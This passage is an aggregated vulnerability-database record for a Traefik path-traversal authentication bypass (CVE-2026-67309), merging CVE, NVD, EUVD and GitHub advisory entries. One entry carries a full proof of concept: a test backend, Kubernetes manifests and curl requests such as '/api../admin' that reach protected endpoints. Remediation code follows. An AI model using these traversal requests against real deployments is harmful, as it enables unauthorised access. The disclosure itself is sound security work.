{"id":"GHSA-7qf5-7ppr-87v8","revision":null,"records":[{"revision":"434acbfa3c3e43fd9a5b21c8c0dd77d7","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-67309","aliases":[],"title":"Traefik v3.7.0 Path Traversal via RewriteTarget Authentication Bypass","description":"Traefik versions >= v3.7.0 and <= v3.7.7 contain a path traversal vulnerability in the Kubernetes Ingress NGINX provider's RewriteTarget middleware (generated from the nginx.ingress.kubernetes.io/rewrite-target annotation). When an Ingress path uses a regex that captures attacker-controlled text without requiring a path separator (e.g., path /api(.*) with rewrite target /$1), a crafted request such as /api../admin matches the public router, is rewritten to a dot-segment traversal path (/../admin), and is forwarded without post-replacement normalization validation. A backend that normalizes dot segments resolves the path to a protected endpoint (e.g., /admin) reachable only through a separate router secured with BasicAuth, DigestAuth, or ForwardAuth, resulting in route-level authentication bypass. The issue is fixed in v3.7.8.","state":0,"publishedAt":"2026-08-01T12:22:18.191+00:00","modifiedAt":"2026-10-08T15:24:04.107+00:00","affected":[{"ecosystem":"Vendor product","name":"traefik","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"traefik\",\n                    \"product\": \"traefik\",\n                    \"defaultStatus\": \"unaffected\",\n                    \"packageURL\": \"pkg:golang/github.com/traefik/traefik/v3\",\n                    \"versions\": [\n                        {\n                            \"version\": \"3.7.0\",\n                            \"status\": \"affected\",\n                            \"versionType\": \"semver\",\n                            \"lessThan\": \"3.7.8\"\n                        },\n                        {\n                            \"version\": \"3.7.8\",\n                            \"status\": \"unaffected\",\n                            \"versionType\": \"semver\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N","score":7.8,"severity":"HIGH"}],"references":["https://github.com/traefik/traefik/security/advisories/GHSA-8rxv-jg7p-wvg3","https://github.com/traefik/traefik/commit/b93f02cd07b79490fb8c8f02e301a7a1ec553195","https://github.com/traefik/traefik/commit/69259c3acc9d4bdc065cb2e3b83336f7de3e7038","https://www.vulncheck.com/advisories/traefik-path-traversal-via-rewritetarget-authentication-bypass"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-67309","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-67309","identifiers":["CVE-2026-67309"]},"retained":false,"historicalAffected":[]},{"revision":"270e633d3354452981501a240a9cc131","observedAt":"2026-11-09T14:15:44.709+00:00","statement":{"source":"euvd","id":"EUVD-2026-51815","aliases":["CVE-2026-67309","GHSA-7qf5-7ppr-87v8","GHSA-8rxv-jg7p-wvg3"],"title":"Traefik versions >= v3.7.0 and <= v3.7.7 contain a path traversal vulnerability in the Kubernetes Ingress NGINX provider's RewriteTarget middleware (generated from the nginx.ingress.kubernetes.io/rewrite-target annotation). When an Ingress …","description":"Traefik versions >= v3.7.0 and <= v3.7.7 contain a path traversal vulnerability in the Kubernetes Ingress NGINX provider's RewriteTarget middleware (generated from the nginx.ingress.kubernetes.io/rewrite-target annotation). When an Ingress path uses a regex that captures attacker-controlled text without requiring a path separator (e.g., path /api(.*) with rewrite target /$1), a crafted request such as /api../admin matches the public router, is rewritten to a dot-segment traversal path (/../admin), and is forwarded without post-replacement normalization validation. A backend that normalizes dot segments resolves the path to a protected endpoint (e.g., /admin) reachable only through a separate router secured with BasicAuth, DigestAuth, or ForwardAuth, resulting in route-level authentication bypass. The issue is fixed in v3.7.8.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N","score":7.8,"severity":null}],"references":["https://github.com/traefik/traefik/security/advisories/GHSA-8rxv-jg7p-wvg3","https://github.com/traefik/traefik/commit/b93f02cd07b79490fb8c8f02e301a7a1ec553195","https://github.com/traefik/traefik/commit/69259c3acc9d4bdc065cb2e3b83336f7de3e7038","https://www.vulncheck.com/advisories/traefik-path-traversal-via-rewritetarget-authentication-bypass"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-51815","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Aug 1, 2026, 12:22:18 PM","dateUpdated":"Oct 8, 2026, 3:24:04 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-51815","identifiers":["EUVD-2026-51815","CVE-2026-67309","GHSA-7qf5-7ppr-87v8","GHSA-8rxv-jg7p-wvg3"]},"retained":false,"historicalAffected":[]},{"revision":"5bf909fc761c4e3ba01c9c1333ff0635","observedAt":"2026-10-25T15:18:51.467+00:00","statement":{"source":"nvd","id":"CVE-2026-67309","aliases":[],"title":"Traefik versions >= v3.7.0 and <= v3.7.7 contain a path traversal vulnerability in the Kubernetes Ingress NGINX provider's RewriteTarget middleware (generated from the nginx.ingress.kubernetes.io/rewrite-target annotation). When an Ingress …","description":"Traefik versions >= v3.7.0 and <= v3.7.7 contain a path traversal vulnerability in the Kubernetes Ingress NGINX provider's RewriteTarget middleware (generated from the nginx.ingress.kubernetes.io/rewrite-target annotation). When an Ingress path uses a regex that captures attacker-controlled text without requiring a path separator (e.g., path /api(.*) with rewrite target /$1), a crafted request such as /api../admin matches the public router, is rewritten to a dot-segment traversal path (/../admin), and is forwarded without post-replacement normalization validation. A backend that normalizes dot segments resolves the path to a protected endpoint (e.g., /admin) reachable only through a separate router secured with BasicAuth, DigestAuth, or ForwardAuth, resulting in route-level authentication bypass. The issue is fixed in v3.7.8.","state":0,"publishedAt":"2026-08-01T13:17:00.703+00:00","modifiedAt":"2026-10-08T16:17:30.703+00:00","affected":[],"metrics":[{"system":"CVSS 4.0 · disclosure@vulncheck.com · Secondary","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","score":7.8,"severity":"HIGH"},{"system":"CVSS 3.1 · nvd@nist.gov · Primary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","score":7.5,"severity":"HIGH"}],"references":["https://github.com/traefik/traefik/commit/69259c3acc9d4bdc065cb2e3b83336f7de3e7038","https://github.com/traefik/traefik/commit/b93f02cd07b79490fb8c8f02e301a7a1ec553195","https://github.com/traefik/traefik/security/advisories/GHSA-8rxv-jg7p-wvg3","https://www.vulncheck.com/advisories/traefik-path-traversal-via-rewritetarget-authentication-bypass"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-67309","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-22"],"productCriteria":["cpe:2.3:a:traefik:traefik:*:*:*:*:*:*:*:*"],"sourceDates":{"published":"2026-08-01T13:17:00.703","lastModified":"2026-10-08T16:17:30.703"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-67309","identifiers":["CVE-2026-67309"]},"retained":false,"historicalAffected":[]},{"revision":"778bc1ee315a4706bff48b89b37b1074","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-7qf5-7ppr-87v8","aliases":[],"title":"Duplicate Advisory: Kubernetes Ingress NGINX RewriteTarget Path Traversal Allows Route-Level Authentication Bypass","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of\u00A0GHSA-8rxv-jg7p-wvg3. This link is maintained to preserve external references.\n\n## Original Description\n\nTraefik versions >= v3.7.0 and <= v3.7.7 contain a path traversal vulnerability in the Kubernetes Ingress NGINX provider's RewriteTarget middleware (generated from the nginx.ingress.kubernetes.io/rewrite-target annotation). When an Ingress path uses a regex that captures attacker-controlled text without requiring a path separator (e.g., path /api(.*) with rewrite target /$1), a crafted request such as /api../admin matches the public router, is rewritten to a dot-segment traversal path (/../admin), and is forwarded without post-replacement normalization validation. A backend that normalizes dot segments resolves the path to a protected endpoint (e.g., /admin) reachable only through a separate router secured with BasicAuth, DigestAuth, or ForwardAuth, resulting in route-level authentication bypass. The issue is fixed in v3.7.8.","state":2,"publishedAt":"2026-08-01T15:30:27+00:00","modifiedAt":"2026-08-06T17:00:56.6532345+00:00","affected":[{"ecosystem":"Go","name":"github.com/traefik/traefik/v3","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"3.7.0"},{"kind":"last_affected","version":"3.7.7"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V4","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/traefik/traefik/security/advisories/GHSA-8rxv-jg7p-wvg3","https://nvd.nist.gov/vuln/detail/CVE-2026-67309","https://github.com/traefik/traefik/commit/69259c3acc9d4bdc065cb2e3b83336f7de3e7038","https://github.com/traefik/traefik/commit/b93f02cd07b79490fb8c8f02e301a7a1ec553195","https://www.vulncheck.com/advisories/traefik-path-traversal-via-rewritetarget-authentication-bypass"],"sourceUrl":"https://github.com/advisories/GHSA-7qf5-7ppr-87v8","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-7qf5-7ppr-87v8","identifiers":["GHSA-7qf5-7ppr-87v8"]},"retained":false,"historicalAffected":[]},{"revision":"bb4890d0969642038cb27e9e942c226a","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-8rxv-jg7p-wvg3","aliases":["CVE-2026-67309","GO-2026-6207"],"title":"Traefik: Kubernetes Ingress NGINX RewriteTarget Path Traversal Allows Route-Level Authentication Bypass","description":"## Summary\n\nThere is a high severity vulnerability in Traefik's Kubernetes Ingress NGINX provider. When an Ingress uses the `nginx.ingress.kubernetes.io/rewrite-target` annotation with a regular expression that captures attacker-controlled text without requiring a path separator (for example path `/api(.*)` with rewrite target `/$1`), the generated `RewriteTarget` middleware can turn an initially safe request path into a dot-segment traversal path after the router has already been selected.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v3.7.8\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n<details>\n<summary>Original Description</summary>\n\n## Summary\n\nTraefik's Kubernetes Ingress NGINX provider creates an internal `RewriteTarget` middleware for the `nginx.ingress.kubernetes.io/rewrite-target` annotation. When an Ingress path captures attacker-controlled text without requiring a path separator, the middleware can turn an initially safe path into a dot-segment traversal path after Traefik has already selected the router.\n\nFor example, with Ingress path `/api(.*)` and rewrite target `/$1`, an unauthenticated request to `/api../admin` follows this flow:\n\n1. The default entry-point path sanitizer leaves `/api../admin` unchanged because `api..` is one ordinary segment.\n2. The public router's `PathRegexp(\"(?i)^/api(.*)\")` rule matches.\n3. `RewriteTarget` captures `../admin` and creates `/../admin`.\n4. The middleware forwards `/../admin` without checking whether path normalization changes it.\n5. A backend that normalizes paths resolves `/../admin` to `/admin`.\n6. The request reaches content intended to be reachable only through a separate `/admin` router with BasicAuth, DigestAuth, or ForwardAuth.\n\nThis is an unpatched sibling of [GHSA-cxjq-mrr5-89rv](https://github.com/traefik/traefik/security/advisories/GHSA-cxjq-mrr5-89rv), which added post-replacement normalization validation to `ReplacePathRegex`. The separate ingress-nginx `RewriteTarget` implementation did not receive the same validation. The bypass remains exploitable in the patched Traefik v3.7.7 release.\n\n## Severity\n\n**Proposed severity:** Critical\n\n**CVSS 3.1:** 9.1 — `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N`\n\n- Attack vector: Network\n- Attack complexity: Low once the affected routing pattern exists\n- Privileges required: None\n- User interaction: None\n- Scope: Unchanged\n- Confidentiality: High\n- Integrity: High\n- Availability: None\n\n**Primary weakness:** CWE-22 — Improper Limitation of a Pathname to a Restricted Directory (Path Traversal)\n\n**Secondary weakness:** CWE-288 — Authentication Bypass Using an Alternate Path or Channel\n\nThe practical impact depends on the protected backend paths. If they are read-only or low sensitivity, environmental severity may be lower.\n\n### Exploitation Preconditions\n\n- The Kubernetes Ingress NGINX provider is enabled.\n- A public Ingress uses `rewrite-target` with a regex that can capture `..` adjacent to the matched prefix, such as `/api(.*)` with `/$1`.\n- A protected router exposes another path on the same backend, such as `/admin`, and relies on a Traefik authentication or authorization middleware.\n- The backend normalizes dot segments before dispatching the request.\n\nThese are deployment prerequisites; the remote attacker needs no credentials or special timing.\n\n## Affected Components\n\n### Confirmed versions\n\n- Traefik v3.7.0 through v3.7.7\n- Current `master` at commit `b93f02cd07b79490fb8c8f02e301a7a1ec553195`\n- Current `v3.7` branch at `69259c3acc9d4bdc065cb2e3b83336f7de3e7038`\n\nThe vulnerable middleware is present in every stable v3.7 release checked. The v2.11 and v3.6 branches do not contain this ingress-nginx `RewriteTarget` implementation.\n\n### Code locations\n\n- `pkg/provider/kubernetes/ingress-nginx/middleware.go:257-274`\n  - Converts the Ingress path and `rewrite-target` annotation directly into `dynamic.RewriteTarget` configuration.\n- `pkg/middlewares/ingressnginx/rewritetarget/rewrite_target.go:85-157`\n  - Performs capture-based path rewriting and forwards the rewritten path without normalization validation.\n- `pkg/server/middleware/middlewares.go:346-353`\n  - Instantiates the vulnerable middleware in the live HTTP chain.\n\n## Root Cause\n\nThe provider passes the route regex and annotation replacement into the middleware:\n\n```go\nloc.RewriteTarget = &dynamic.RewriteTarget{\n    Regex:       loc.Path,\n    Replacement: rewrite,\n}\n```\n\n`RewriteTarget.ServeHTTP` then derives a path from attacker-controlled capture groups:\n\n```go\nnewTarget = rt.regexp.ReplaceAllString(currentPath, rt.replacement)\n\nreq.URL.RawPath = newTarget\nreq.URL.Path, err = url.PathUnescape(req.URL.RawPath)\nreq.RequestURI = req.URL.RequestURI()\n\nrt.next.ServeHTTP(rw, req)\n```\n\nThere is no invariant check between `PathUnescape` and forwarding to ensure that `req.URL.Path` equals its normalized form. Because routing happens before middlewares execute, any protected router that would match the normalized result is never reconsidered.\n\nThe core `ReplacePathRegex` middleware now enforces this invariant by calling `req.URL.JoinPath()` and returning HTTP 400 when normalization changes the replacement. `RewriteTarget` implements equivalent capture-based behavior but lacks that check.\n\nDefault `entryPoints.<name>.http.sanitizePath=true` does not prevent this issue. Sanitization occurs before routing and before `RewriteTarget` creates the traversal sequence.\n\n## Impact\n\nAn unauthenticated network attacker can bypass route-level authentication or authorization and access protected paths on the backend. Depending on the protected API, this can allow:\n\n- reading administrative or sensitive data;\n- invoking privileged state-changing endpoints with GET, POST, PUT, PATCH, or DELETE;\n- bypassing BasicAuth, DigestAuth, ForwardAuth, IP restrictions, or other controls attached only to the protected router;\n- crossing intended public/protected path boundaries with one HTTP request.\n\nThe middleware is method-agnostic, so the issue is not limited to read-only requests.\n\n## Proof of Concept\n\n### Validation Environment\n\n- Traefik v3.7.7 official Linux amd64 release\n- Release archive SHA-256 verified as `5c8ff19144683f862c04e8ac01893e8cd94a3519d3d9ca3e6fbd0a7de73261ba`\n- Default `sanitizePath=true`\n- Node.js v24 backend\n- Kubernetes Ingress NGINX provider fed valid Ingress, Service, EndpointSlice, and Secret objects through a local Kubernetes API fixture\n\nNo Traefik source files were modified.\n\n### 1. Create the normalizing backend\n\nSave as `backend.js`:\n\n```javascript\nconst http = require(\"http\");\nconst path = require(\"path\");\n\nhttp.createServer((req, res) => {\n  const rawPath = req.url.split(\"?\", 1)[0];\n  const normalizedPath = path.posix.normalize(rawPath);\n  const protectedPath = normalizedPath === \"/admin\" || normalizedPath.startsWith(\"/admin/\");\n\n  const body = JSON.stringify({\n    rawPath,\n    normalizedPath,\n    result: protectedPath ? \"ADMIN_SECRET_DATA\" : \"PUBLIC\",\n  });\n\n  res.writeHead(200, { \"Content-Type\": \"application/json\" });\n  res.end(body);\n}).listen(19090, \"127.0.0.1\");\n```\n\nRun it:\n\n```bash\nnode backend.js\n```\n\n### 2. Apply the Kubernetes objects\n\nThe `ExternalName` service makes an externally run Traefik process connect to the local backend. If Traefik runs inside the cluster, replace it with a normal Deployment and ClusterIP Service.\n\n```yaml\napiVersion: v1\nkind: Secret\nmetadata:\n  name: basic-auth\n  namespace: default\ntype: Opaque\nstringData:\n  auth: |\n    admin:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/\n---\napiVersion: v1\nkind: Service\nmetadata:\n  name: backend\n  namespace: default\nspec:\n  type: ExternalName\n  externalName: localhost\n  ports:\n    - name: http\n      port: 19090\n      targetPort: 19090\n---\napiVersion: networking.k8s.io/v1\nkind: Ingress\nmetadata:\n  name: public-api\n  namespace: default\n  annotations:\n    kubernetes.io/ingress.class: nginx\n    nginx.ingress.kubernetes.io/use-regex: \"true\"\n    nginx.ingress.kubernetes.io/rewrite-target: \"/$1\"\nspec:\n  rules:\n    - http:\n        paths:\n          - path: /api(.*)\n            pathType: ImplementationSpecific\n            backend:\n              service:\n                name: backend\n                port:\n                  number: 19090\n---\napiVersion: networking.k8s.io/v1\nkind: Ingress\nmetadata:\n  name: protected-admin\n  namespace: default\n  annotations:\n    kubernetes.io/ingress.class: nginx\n    nginx.ingress.kubernetes.io/auth-type: basic\n    nginx.ingress.kubernetes.io/auth-secret: basic-auth\n    nginx.ingress.kubernetes.io/auth-realm: Authentication Required\nspec:\n  rules:\n    - http:\n        paths:\n          - path: /admin\n            pathType: Prefix\n            backend:\n              service:\n                name: backend\n                port:\n                  number: 19090\n```\n\n```bash\nkubectl apply -f poc.yaml\n```\n\n### 3. Run unmodified Traefik v3.7.7\n\n```bash\nKUBECONFIG=\"$HOME/.kube/config\" ./traefik \\\n  --entryPoints.web.address=127.0.0.1:18080 \\\n  --providers.kubernetesIngressNginx.watchNamespace=default \\\n  --providers.kubernetesIngressNginx.httpEntryPoint=web \\\n  --global.checkNewVersion=false \\\n  --log.level=DEBUG\n```\n\nTraefik generates the following relevant dynamic configuration:\n\n```json\n{\n  \"rule\": \"PathRegexp(\\\"(?i)^/api(.*)\\\")\",\n  \"middlewares\": [\"...-rewrite-target\"],\n  \"rewriteTarget\": {\n    \"regex\": \"/api(.*)\",\n    \"replacement\": \"/$1\"\n  }\n}\n```\n\nThe protected router separately contains a BasicAuth middleware and a `PathRegexp(\"(?i)^/admin\")` rule.\n\n### 4. Confirm authentication is enforced\n\n```bash\ncurl --path-as-is -i http://127.0.0.1:18080/admin\n```\n\nObserved:\n\n```text\nHTTP/1.1 401 Unauthorized\n```\n\n### 5. Exploit the traversal rewrite\n\nPlain variant:\n\n```bash\ncurl --path-as-is -i http://127.0.0.1:18080/api../admin\n```\n\nObserved:\n\n```text\nHTTP/1.1 200 OK\n{\"rawPath\":\"/../admin\",\"normalizedPath\":\"/admin\",\"result\":\"ADMIN_SECRET_DATA\"}\n```\n\nPercent-encoded variant:\n\n```bash\ncurl --path-as-is -i http://127.0.0.1:18080/api%2e%2e/admin\n```\n\nObserved:\n\n```text\nHTTP/1.1 200 OK\n{\"rawPath\":\"/../admin\",\"normalizedPath\":\"/admin\",\"result\":\"ADMIN_SECRET_DATA\"}\n```\n\nThe direct request receives 401, while both unauthenticated traversal requests receive the protected content with status 200.\n\n## Remediation\n\nApply the same post-rewrite normalization invariant used by the patched `ReplacePathRegex` middleware. After decoding `RawPath`, normalize a copy and reject the request if normalization changes `Path`:\n\n```go\npath := req.URL.Path\nif path != \"\" {\n    req.URL = req.URL.JoinPath()\n}\n\nif path != req.URL.Path {\n    logger.Debug().Msgf(\n        \"Rejecting request, normalized path %q differs from rewritten path %q\",\n        req.URL.Path,\n        path,\n    )\n    http.Error(rw, http.StatusText(http.StatusBadRequest), http.StatusBadRequest)\n    return\n}\n\nreq.RequestURI = req.URL.RequestURI()\n```\n\nRecommended additional actions:\n\n1. Centralize the post-transformation path validation used by `ReplacePathRegex`, `StripPrefix`, `StripPrefixRegex`, and ingress-nginx `RewriteTarget` to prevent future drift.\n2. Add regression tests for `/api../admin` and `/api%2e%2e/admin`, expecting HTTP 400.\n3. Test both `URL.Path` and `URL.RawPath` cases and preserve legitimate encoded-path behavior.\n4. Audit the ingress-nginx snippet `rewrite` implementation for the same post-rewrite invariant.\n\n### Temporary Mitigation\n\nUse a regex that requires a separator or end-of-path before captured user data, for example:\n\n```yaml\nnginx.ingress.kubernetes.io/use-regex: \"true\"\nnginx.ingress.kubernetes.io/rewrite-target: \"/$2\"\n\n# Ingress path:\npath: /api(/|$)(.*)\n```\n\nThis prevents `/api../admin` from matching. Also enforce authentication in the backend rather than relying exclusively on separate Traefik path routers. Entry-point `sanitizePath=true` alone is not a mitigation because the dangerous dot segment is created after sanitization.\n\n## Duplicate Check\n\nAs of 2026-07-09:\n\n- Traefik's public security advisories contain no entry mentioning `RewriteTarget` or ingress-nginx `rewrite-target` path traversal.\n- Public issue and pull-request searches found no report for this path-normalization bypass.\n- GHSA-cxjq-mrr5-89rv is related but not a duplicate: it fixes `pkg/middlewares/replacepathregex`, while this report affects `pkg/middlewares/ingressnginx/rewritetarget` and reproduces on the version that contains that fix, v3.7.7.\n\n## Disclosure\n\nIf confirmed, could you please create a GitHub Security Advisory and request a CVE? I am happy to validate a patch and coordinate disclosure.\n\n</details>\n\n---","state":0,"publishedAt":"2026-08-06T16:45:28+00:00","modifiedAt":"2026-08-18T15:10:32.7223638+00:00","affected":[{"ecosystem":"Go","name":"github.com/traefik/traefik/v3","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"3.7.0"},{"kind":"fixed","version":"3.7.8"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V4","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/traefik/traefik/security/advisories/GHSA-8rxv-jg7p-wvg3","https://nvd.nist.gov/vuln/detail/CVE-2026-67309","https://github.com/traefik/traefik/commit/759515bec1b9f628b21ea8968ef63da853be5e29","https://github.com/traefik/traefik","https://www.vulncheck.com/advisories/traefik-path-traversal-via-rewritetarget-authentication-bypass"],"sourceUrl":"https://github.com/advisories/GHSA-8rxv-jg7p-wvg3","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-8rxv-jg7p-wvg3","identifiers":["GHSA-8rxv-jg7p-wvg3","CVE-2026-67309","GO-2026-6207"]},"retained":false,"historicalAffected":[]},{"revision":"706810155f5b46ab9184d3198aeae41e","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-6207","aliases":["CVE-2026-67309","GHSA-8rxv-jg7p-wvg3"],"title":"Traefik: Kubernetes Ingress NGINX RewriteTarget Path Traversal Allows Route-Level Authentication Bypass in github.com/traefik/traefik","description":"Traefik: Kubernetes Ingress NGINX RewriteTarget Path Traversal Allows Route-Level Authentication Bypass in github.com/traefik/traefik","state":0,"publishedAt":"2026-08-18T14:32:29+00:00","modifiedAt":"2026-08-18T15:00:14.3151876+00:00","affected":[{"ecosystem":"Go","name":"github.com/traefik/traefik","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/traefik/traefik/v2","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/traefik/traefik/v3","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"3.7.0"},{"kind":"fixed","version":"3.7.8"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/traefik/traefik/security/advisories/GHSA-8rxv-jg7p-wvg3","https://nvd.nist.gov/vuln/detail/CVE-2026-67309","https://github.com/traefik/traefik/commit/759515bec1b9f628b21ea8968ef63da853be5e29","https://www.vulncheck.com/advisories/traefik-path-traversal-via-rewritetarget-authentication-bypass"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-6207","license":"OSV · upstream source license applies","key":"osv:GO-2026-6207","identifiers":["GO-2026-6207","CVE-2026-67309","GHSA-8rxv-jg7p-wvg3"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-10T18:23:45.7727801+00:00","complete":true,"records":1773,"lastAttemptAt":"2026-11-10T18:23:45.7727801+00:00","lastSuccessAt":"2026-11-10T18:23:45.9579119+00:00","error":null,"lastVerifiedAt":"2026-11-10T18:23:45.9579152+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-8859cf40d4337e24bd2f258cc7778fbad01bb24c79d057aaf34cf1dfc6f8917d-d220ab899e0e1c49e43094274f562c18c4a19b03898aec3feae1debdd31f6756","complete":true,"records":422212,"lastAttemptAt":"2026-11-10T18:21:27.6685178+00:00","lastSuccessAt":"2026-11-10T18:21:27.4920545+00:00","error":null,"lastVerifiedAt":"2026-11-10T18:21:27.6685178+00:00","snapshotPublishedAt":"2026-11-10T17:27:33+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-acbb624a79c244aa868394151a25f053","complete":true,"records":13704,"lastAttemptAt":"2026-11-10T18:24:12.0072206+00:00","lastSuccessAt":"2026-11-10T18:24:12.001+00:00","error":null,"lastVerifiedAt":"2026-11-10T18:24:12.001+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13758,"expectedIdentifiers":13758,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-10T18:23:45.7727801+00:00","complete":true,"records":1096,"lastAttemptAt":"2026-11-10T18:23:45.7727801+00:00","lastSuccessAt":"2026-11-10T18:23:45.9591411+00:00","error":null,"lastVerifiedAt":"2026-11-10T18:23:45.9591459+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-4459456b8f8c43778c308d7de0a43211","complete":true,"records":13710,"lastAttemptAt":"2026-11-10T18:24:11.1447617+00:00","lastSuccessAt":"2026-11-10T18:24:11.141+00:00","error":null,"lastVerifiedAt":"2026-11-10T18:24:11.141+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13758,"expectedIdentifiers":13758,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-50a085e5b7a5d1546eabdb7e52fab85d658afa8554d3cf95a0891c49d83f2979","complete":true,"records":9935,"lastAttemptAt":"2026-11-10T18:23:45.7142755+00:00","lastSuccessAt":"2026-11-10T16:25:20.0114252+00:00","error":null,"lastVerifiedAt":"2026-11-10T18:23:45.7142755+00:00","snapshotPublishedAt":"2026-11-10T16:18:10+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-26503967ae4379db8f374089589d6e03fb15bd31f820c9e992aaf93840c2236c","complete":true,"records":1971,"lastAttemptAt":"2026-11-10T18:21:27.7170016+00:00","lastSuccessAt":"2026-11-09T21:02:20.472473+00:00","error":null,"lastVerifiedAt":"2026-11-10T18:21:27.7170016+00:00","snapshotPublishedAt":"2026-11-09T20:18:18+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE 